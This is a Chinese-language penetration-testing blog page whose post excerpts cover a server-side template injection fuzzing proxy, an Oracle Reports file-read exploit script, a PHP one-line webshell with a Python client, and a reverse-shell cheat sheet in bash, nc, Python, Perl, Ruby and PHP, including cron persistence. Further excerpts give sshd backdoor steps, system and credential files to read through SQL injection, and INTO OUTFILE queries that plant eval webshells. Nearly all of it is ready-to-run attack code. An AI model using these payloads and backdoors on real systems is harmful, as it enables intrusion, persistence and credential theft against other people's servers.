Python编程

一个Fuzzing服务器端模板注入漏洞的半自动化工具

一个Fuzzing服务器端模板注入漏洞的半自动化工具
    0x01. 背景            乌云还在的时候,猪猪侠爆一个XX银行的OGNL表达式注入漏洞,拿到了第一滴血。然后,唐朝实验室爆了个Spring-Boot的SPEL注入漏洞,虽然不是第一滴血,但是让我有了一个想法。因为看到过曾经黑帽大会有国外研究者写的一个很好的Paper:名字:us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf  里面提到了服务器端模板注入导致的远程命令执行类型漏洞产生。    0x02. 萌芽            我对远程命令执行漏洞的理解就是以各种方式直接或间接的导致远程服务器执行成功了你想要让它执行的系统命令的一类漏洞,英文叫:Remote Command Execute Vulnerability(简称RCE漏洞),这是一种很简单暴力的漏洞,一种一言不合就可以rm -rf /或者 format /fs C: 的致命漏洞。哪么都有些什么类型的命令执行漏洞,可以看看exploit-db上关于RCE漏洞的exp有哪些。点击查看     下面是我简单的归了一下类别,RCE漏洞包括但不限于下面提到的。应用程序开发框架里的RCE            这里的框架包括但不仅限于:Struts2框架/xwork框架,ThinkPhp框架,Spring框架 ,IOSurface编程框架类中间件平台/服务应用平台的RCE            这里的代表就举例之前火的JAVA反序列化漏洞影响下的:WebLogic/Jboss/WebSphere/Jenkins、还有比如IIS,nginx,apache因文件名解析,路径解析问题导致的命令执行类,还有Elasticsearch,Redis,Zabbix ,mongodb等各种为业务应用,为数据存储提供服务的软件的命令执行类。应用程序里的RCE            应用程序编写中调用系统API接口,调用系统命令执行函数,程序中系统命令执行相关方法的不恰当使用等导致的一类。第三方应用里的RCE            最喜闻乐见的就是各种CMS被曝SQL注入,命令执行漏洞,代码执行漏洞,这类CMS共同特点就是支持第三方插件,支持用户对原cms程序框架结构进行改造。当然还有之前火了的ImageImagick图形处理库的RCE,和 fffmep导致的RCE等等。等等等          穷尽脑汁就想到了上面这些,有遗漏的典型分类还望大牛多多留言不吝赐教。          然后我好奇的上乌云搜了搜公开的漏洞里(PS: 打开虚拟机搜了搜)关键字:命令执行 的案例。                           公开的有2373个案例,119页,我翻了很多页案例,其中以刷Struts2的S2-xxx的最多。命令执行漏洞案例里我看到了下面几类:OGNL表达式|程序代码注入导致的RCE           1. Struts2的S2-xxx系列,2. 参数里注入或直接传值OGNL表达式,3. 变量名里或参数里注入编程语言基本语法代码系统命令注入|模板代码注入导致的RCE:            1. 变量名里或参数里注入系统命令,2. 变量名里或参数里注入框架模板代码,配置或业务设计不当导致的RCE           1. RMI对外匿名开放或服务未授权导致 2. 文件解析执行绕过 3. 缓存模板,日志记录,请求信息等被带入奇葩业务执行的 3. 业务应用接口,系统接口等权限不当导致的等等。。。            我的重点放在了参数中被带入了系统命令,程序代码,OGNL表达式,模板代码之类导致的RCE漏洞发生的情况。这类情况,有个共同点,大都是通过HTTP/HTTPS请求出现。之前,顺着之前流行的sqlmapapi的思路,我想是否可以同样实现一个, 你上着网就把漏洞给挖出来了呢?萌生了这个想法,于是就有了这么个小脚本。    0x03. 实现.             基于sqlmapapi的实现思路,同样用到了代理正常流量,提取Fuzzing点,带入测试payload进行Fuzzing测试。             实现环境:                   1、Python 2.7.8 ,Win8.1 x64             第三方模块(版本):                   2、requests (2.9.1)、tornado (4.3)            先用Tornado实现代理正常上网,定义SSTIF_Fuzz类用于进行测试,SSTIF_Fuzz类里面定义了下面的函数:             1、_init_payloads_:  初始化各种测试payload的函数,里面现在已经具备了一些测试payload,包括通用的,PHP基础代码,JAVA语法的,OGNL表达式,EL表达式,SPEL表达式,Groovy测试payload,鸟哥爆的CA technologies存在远程命令执行漏洞poc.(暂时就这么多,会不断补充,除非证明此思路此脚本不可行。)             2、HttpHelper :发出带有payload的构造好的请求,根据规则(响应数据包括字符串:10516*61501的结果:646744516,或者在自己配置的cloudeye里面手工确认)判定是否存在RCE漏洞。             3、Fuzzing_GET :分析GET请求中的变量-值(key-value)组合,目前是对每一个value进行测试,未实现对key即变量名进行测试。             4、Fuzzing_HEADER:未实现,因为在乌云的案例中,发现有在Referer中,注入命令导致的RCE的案例,所以未来会考虑对这里的参数进行测试。             5、FileHelper:将测试可能存在RCE漏洞的记录在rce_success_result.txt文件里,格式例如:+==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+ +=+URL: http://202.111.222.333/index.jsp?id=1111&page=222&count=123 +=+method: GET +=+param: id +=+payload: java.lang.Runtime.getRuntime().exec('cat</etc/passwd;$BASH') +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+            记录上面的一条,就可以比较清晰的看出要表达的意思了。     0x04. 使用.                1、安装第三方模块pip install requests pip install tornado                2、修改SSTIF_Fuzz类中配置文件:大概在第49行: self.my_cloudeye = "xxxx.dnslog.info" 这里配置为你的dnslog的域名地址。                3、然后找到一个没有使用的端口,命令:python ssitf.py 8081  启用代理监听8081端口                4、和设置burpsuite一样,浏览器设置通过8081代理端口上网,然后后面就像使用Sqli半自动化工具那样安心上你的网吧。           注意:                 ProxyHandler类中定义了黑名单请求后缀,域名黑名单,这是为了避免带来麻烦的,可以自己添加:大概在246-250行代码处:url_ext_black = ['ico','flv','css','jpg','png','jpeg','gif','pdf','ss3','txt','rar','zip','avi','mp4','swf','wmi','exe','mpeg'] domain_black = ['gov.cn','gov.com','mil.cn','police.cn','127.0.0.1','localhost','doubleclick','cnzz.com','baidu.com','40017.cn','google-analytics.com','googlesyndication','gstatic.com','bing.com','google.com','sina.com','weibo.com']   0x05. 总结.              这个脚本做了什么:                    1、从乌云上,从国外的研究者paper上拔下来了一些payload,作为fuzzing的依据。                    2、实现了代理,从正常上网流量中提取GET和POST请求中的提取有效的参数作为Fuzzing测试点。                    3、实现了个初级版本。              反思不足:                    1、payload是固定死的,这是一大弊端。                    2、无法支持HTTPS流量的处理,这是技术盲点。                    3、Fuzzing太慢,目前是单线程的。                    4、Fuzzing情况考虑不全,应该是思路和认知盲点。                    5、没有考虑狗,软硬防护产品的拦截绕过问题。             最后,看了很多案例,RCE其实就是插入那些东西进去,带入那些东西进去就可以简单初步判断是否存在该漏洞了,我感觉这是一种不错的思路,只是要实现自己的自动化挖掘漏洞神器还是长路漫漫~Github地址: SSTIF文章的:http://blog.portswigger.net/2015/08/server-side-template-injection.html 老外的:https://github.com/epinna/tplmap  (这差距啊。。。。)... 继续阅读 »
思考人生

博客说明

博客说明
首先欢迎你的到来,然后本博客之前为自己做笔记用了一段时间,现在打算将其整理下,希望多和大牛们互相学习,互相分享。... 继续阅读 »
Exploit

Oracle Reports LFI——EXP

Oracle Reports LFI——EXP
#!/usr/bin/python import sys, urllib2    # Import the required modules for the vulnerability from termcolor import colored   # Need to download python module "termcolor"   if len(sys.argv) != 2:    # Checks to make sure that a URL was supplied as a sys argument "<script> <URL>"   print "Usage: "+sys.argv[0]+" <URL>"   sys.exit(0)   URL=sys.argv[1]        # Assigns URL variable and prints out message print "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"   while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variable   resource=raw_input(colored("~$ ", "red"))   req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'   try:                    # Sets up a Try/Except loop so exceptions are handled cleanly     response=urllib2.urlopen(URL+req)     # Sends request and prints the response     for line in response.readlines():       print line.strip()   except Exception as e: print e... 继续阅读 »
渗透技巧

一句话开启简单的Web服务器

一句话开启简单的Web服务器
    0x01. 背景                 在渗透测试时,有时候控制了目标服务器,可以执行系统命令。为了方便直观的浏览和从目标服务器上取得一些文件,这个时候可以尝试使用系统支持的python、php或ruby命令开启一个HTTP服务器或者FTP服务器或者其他的【PS: 我不知道的】,让我们的更进一步渗透更加方便一些。下面演示的是我知道的几种开启HTTP服务器或FTP服务器的方式。    0x02. Python 开启HTTP服务器              使用Python命令:     python -m SimpleHTTPServer YourPort              SimpleHTTPServer是一个Python的模块,需要服务器安装好这个模块。             效果:              这个可以命令会以当前目录为根目录,开启一个发HTTP服务器,可以遍历目录下载想要下载的文件。    0x03.PHP 开启HTTP服务器            使用PHP命令:      php -S 0.0.0.0:8088 -t /var/   #用法: php -S IP:端口  -t 服务器根路径          从PHP5.4.0开始,就内置了一个简单的web服务器了,详细见:                                                                     http://php.net/manual/en/features.commandline.webserver.php                   执行命令后,会开启php内置的web服务器,以-t后设置的参数为根目录。              效果:               浏览器访问,可见HTTP服务器已经开启成功了,但是这个服务器默认不能遍历目录,所以要下载取得目标上的文件,需要加上他的路径请求。                 看看当前目录下有什么文件:                    我们想要下载/var/www/wwwroot.zip文件到本地,那么浏览器请求:http://192.168.64.133:8088/www/wwwroot.zip     也会解析PHP,那么是不是可以写个shell,然后用菜刀连上去更方便呢? 无限的遐想。。。    0x04.Ruby 开启HTTP服务器                使用Ruby命令:      ruby -run -ehttpd . -p3000 #  ruby -run -ehttpd 路径 -p端口                 通过执行ruby命令,在以“路径”为HTTP根目录,-p指定的端口,开启一个简单的HTTP服务器。         效果:                            0x05.Python开启FTP服务器            使用Python命令:      python -m pyftpdlib -p 2121             同样需要目标上安装pyftplib模块支持         效果:     0x06.附上两个脚本            基于BaseHTTPServer的简单上传下载脚本:                        BaseHTTPServer             FTP脚本:                        SimpleFtpServer推荐:开启Web服务... 继续阅读 »
渗透技巧

菜刀客户端-python版

菜刀客户端-python版
python脚本实现,python下面直接输入命令,所以一句话里用的是shell_exec函数直接执行命令.一句话:Gif89a <?php header("Content-type: text/html; charset=GBK");   $c = @shell_exec($_POST['cf_hb']); echo $c;?>python客户端:import sys import requests import base64   url = sys.argv[1] print "[+] Connecting to whopper shell..."   while True:     comm = raw_input("~$ ")     #encoded = base64.b64encode(comm)     headers = {'user-agent':'Mozilla/4.0'}     proxy = {'http':'http://127.0.0.1:8080'}     data = {'whopper':encoded}   whopper -- 菜刀密码     print "url=",url     #r=requests.post(url, headers=headers, proxies=proxy, data=data)     r=requests.post(url, headers=headers, data=data)     print base64.b64decode(r.text)根据需要修改是否设置代理、是否编码、展示图:... 继续阅读 »
渗透技巧

反弹Shell技巧

反弹Shell技巧
Bash:bash -i >& /dev/tcp/x.x.x.x/2333 0>&1nc:nc -e /bin/sh x.x.x.x 2333bash+nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/ftelnet:mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipepython:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.18",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python:python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc=subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"定时任务: crontab(crontab -l;printf "*/5 * * * *  /bin/nc 192.168.196.129 22222 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -Asp:<%system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");%>Rubyruby -rsocket -e'f=TCPSocket.open("10.10.14.101",65512).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Perlperl -e 'use Socket;$i="10.10.14.101";$p=65512;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHPphp -r '$sock=fsockopen("10.10.14.101",65512);exec("/bin/sh -i <&3 >&3 2>&3");'小技巧:添加上bash头信息:bash头:python -c 'import pty;pty.spawn("/bin/sh")'orpython -c 'import pty;pty.spawn("/bin/bash")'SSH隧道:内网服务器:ssh -R 9998:localhost:22 root@202.112.12.31 输入你公网LinuxVPS的密码后,建立一个SSH隧道,会在202.112.12.31上面开一个端口,通向内网这个机器的。公网VPS:ssh localhost 9998演示图:python脚本版:原地址:http://www.primalsecurity.net/0x2-python-tutorial-reverse-shell/VPS接收端:import socket    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", 10517)) -- 监听反弹回来的端口 s.listen(2) print "Listening on port 10517... " (client, (ip, port)) = s.accept() print " Received connection from : ", ip   while True:  command = raw_input('~$ ')  encode = bytearray(command)  for i in range(len(encode)):    encode[i] ^=0x41  client.send(encode)  en_data=client.recv(2048)  decode = bytearray(en_data)  for i in range(len(decode)):    decode[i] ^=0x41  print decode   client.close() s.close()目标机器上:#!/usr/bin/python   import socket,subprocess,sys   RHOST = sys.argv[1] RPORT = 10517  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT))   while True:      # recieve XOR encoded data from network socket      data = s.recv(1024)        # XOR the data again with a '\x41' to get back to normal data      en_data = bytearray(data)      for i in range(len(en_data)):        en_data[i] ^=0x41        # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable      comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)      STDOUT, STDERR = comm.communicate()        # Encode the output and send to RHOST      en_STDOUT = bytearray(STDOUT)      for i in range(len(en_STDOUT)):        en_STDOUT[i] ^=0x41      s.send(en_STDOUT) s.close()展示效果:... 继续阅读 »
学习笔记

渗透技巧之SSH篇

渗透技巧之SSH篇
1、入侵得到SHELL后,想快速开放一个可以访问的SSH端口ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。2、做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接肉鸡上执行:[root@localhost ~]# cd /usr/sbin [root@localhost sbin]# mv sshd ../bin [root@localhost sbin]# echo '#!/usr/bin/perl' >sshd [root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd [root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd [root@localhost sbin]# chmod u+x sshd [root@localhost sbin]# /etc/init.d/sshd restart自己机器上执行socat STDIO TCP4:10.18.180.20:22,sourceport=133773、记录SSH客户端连接密码效果图... 继续阅读 »
学习笔记

load_file()常加载的文件

load_file()常加载的文件
 load_file()查看常用的一些配置文件/usr/local/apache/htdocs/comm/config.php/usr/local/app/apache2/conf/httpd.conf            //apache2缺省配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf              //虚拟网站设置/usr/local/apache2/conf/httpd.conf/etc/httpd/conf/httpd.conf apache                                配置文件/etc/rsyncd.conf                                                 同步程序配置文件/etc/sysconfig/network-scripts/ifcfg-eth0                         察看IP./usr/local/app/php5/lib/php.ini                                 //PHP相关设置ect/password/etc/my.cnf                                                     //mysql的配置文件/etc/redhat-release                                             //系统版本/etc/sysconfig/iptables                                         //从中得到防火墙规则策略/etc/my.ini/etc/php5/apache2/php.ini information_schema  读取mysql表c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.iniC:\Program Files\Serv-U\ServUDaemon.inic:\windows\my.iniC:\WINDOWS\system32\inetsrv\MetaBase.xml                        IIS配置文件c:\boot.iniC:\mysql\data\mysql\user.MYD                                    //存储了mysql.user表中的数据库连接密码c:\windows\php.inic:\php.initemp                                                            缓存里面储存的信息c:\windows\repair\sam                                            存储了WINDOWS系统初次安装的密码c:\Program Files\ Serv-U\ServUAdmin.exe                         6.0版本以前的serv-u管理员密码存储于此c:\Program Files\RhinoSoft.com\ServUDaemon.exeC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 D:\MySQL DataFiles\mysql\user.MYD... 继续阅读 »
学习笔记

into outfile的高级运用

into outfile的高级运用
获得物理路径(into outfile '物理路径') 这样才能写对目录能够使用union (也就是说需要MYSQL3以上的版本)对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.这里的1,我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到.2那是一般都可以的了...3也不多见对'''过滤的.4有没有权限,我们前面已经测试过的了.5如果不能备份到网站的路径上来,我们也还有别的办法,譬如到starup,run里面去等等社工的办法.而且一般多试试上传目录,图片目录,还是大部分都有读写权限的.OK.需要的条件确定了,那怎么用呢?我们分开两部来说用法.用法1:这是中规中矩的用法,大家都知道.就是采用网站有的留言,上传等功能,把你的一句话马弄上去,然后使用CODE:http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/* 你的小马就诞生了.其中/www/home/html/upload/qingyafengping.jpg为你已上传的木马地址.3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.用法2,也是重点要说的.上面的方法,局限性还是比较大的,如果网站不给你上传,或者网站过滤上传的内容,那怎么办?不用怕,剑心早在几年前就给我们想到了个好办法.我们只需要直接这么执行URL:CODE:http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(这里是你的马的代码,记得转为10进或者16进),3,4,5,6 into outfile '/www/home/html/coder.php'/* 这样你的小马也诞生了,不需要上传,也不怕他过滤.譬如CODE:http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*或者http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*或者http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/www/home/html/coder.php'/*3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.... 继续阅读 »
渗透工具

Metasploit常用web漏洞扫描模块

Metasploit常用web漏洞扫描模块
web服务器信息扫描模块============================================================Module auxiliary/scanner/http/http_versionModule auxiliary/scanner/http/open_proxyModule auxiliary/scanner/http/robots_txtModule auxiliary/scanner/http/frontpage_loginModule auxiliary/admin/http/tomcat_administrationModule auxiliary/admin/http/tomcat_utf8_traversalModule auxiliary/scanner/http/optionsModule auxiliary/scanner/http/drupal_views_user_enumModule auxiliary/scanner/http/scraperModule auxiliary/scanner/http/svn_scannerModule auxiliary/scanner/http/traceModule auxiliary/scanner/http/vhost_scannerModule auxiliary/scanner/http/webdav_internal_ipModule auxiliary/scanner/http/webdav_scannerModule auxiliary/scanner/http/webdav_website_content文件目录扫描模块============================================================ Module auxiliary/dos/http/apache_range_dosModule auxiliary/scanner/http/backup_fileModule auxiliary/scanner/http/brute_dirsModule auxiliary/scanner/http/copy_of_fileModule auxiliary/scanner/http/dir_listingModule auxiliary/scanner/http/dir_scannerModule auxiliary/scanner/http/dir_webdav_unicode_bypassModule auxiliary/scanner/http/file_same_name_dirModule auxiliary/scanner/http/files_dirModule auxiliary/scanner/http/http_putModule auxiliary/scanner/http/ms09_020_webdav_unicode_bypassModule auxiliary/scanner/http/prev_dir_same_name_fileModule auxiliary/scanner/http/replace_extModule auxiliary/scanner/http/soap_xmlModule auxiliary/scanner/http/trace_axdModule auxiliary/scanner/http/verb_auth_bypassweb应用程序漏洞扫描模块============================================================ Module auxiliary/scanner/http/blind_sql_queryModule auxiliary/scanner/http/error_sql_injectionModule auxiliary/scanner/http/http_traversalModule auxiliary/scanner/http/rails_mass_assignmentModule exploit/multi/http/lcms_php_exec... 继续阅读 »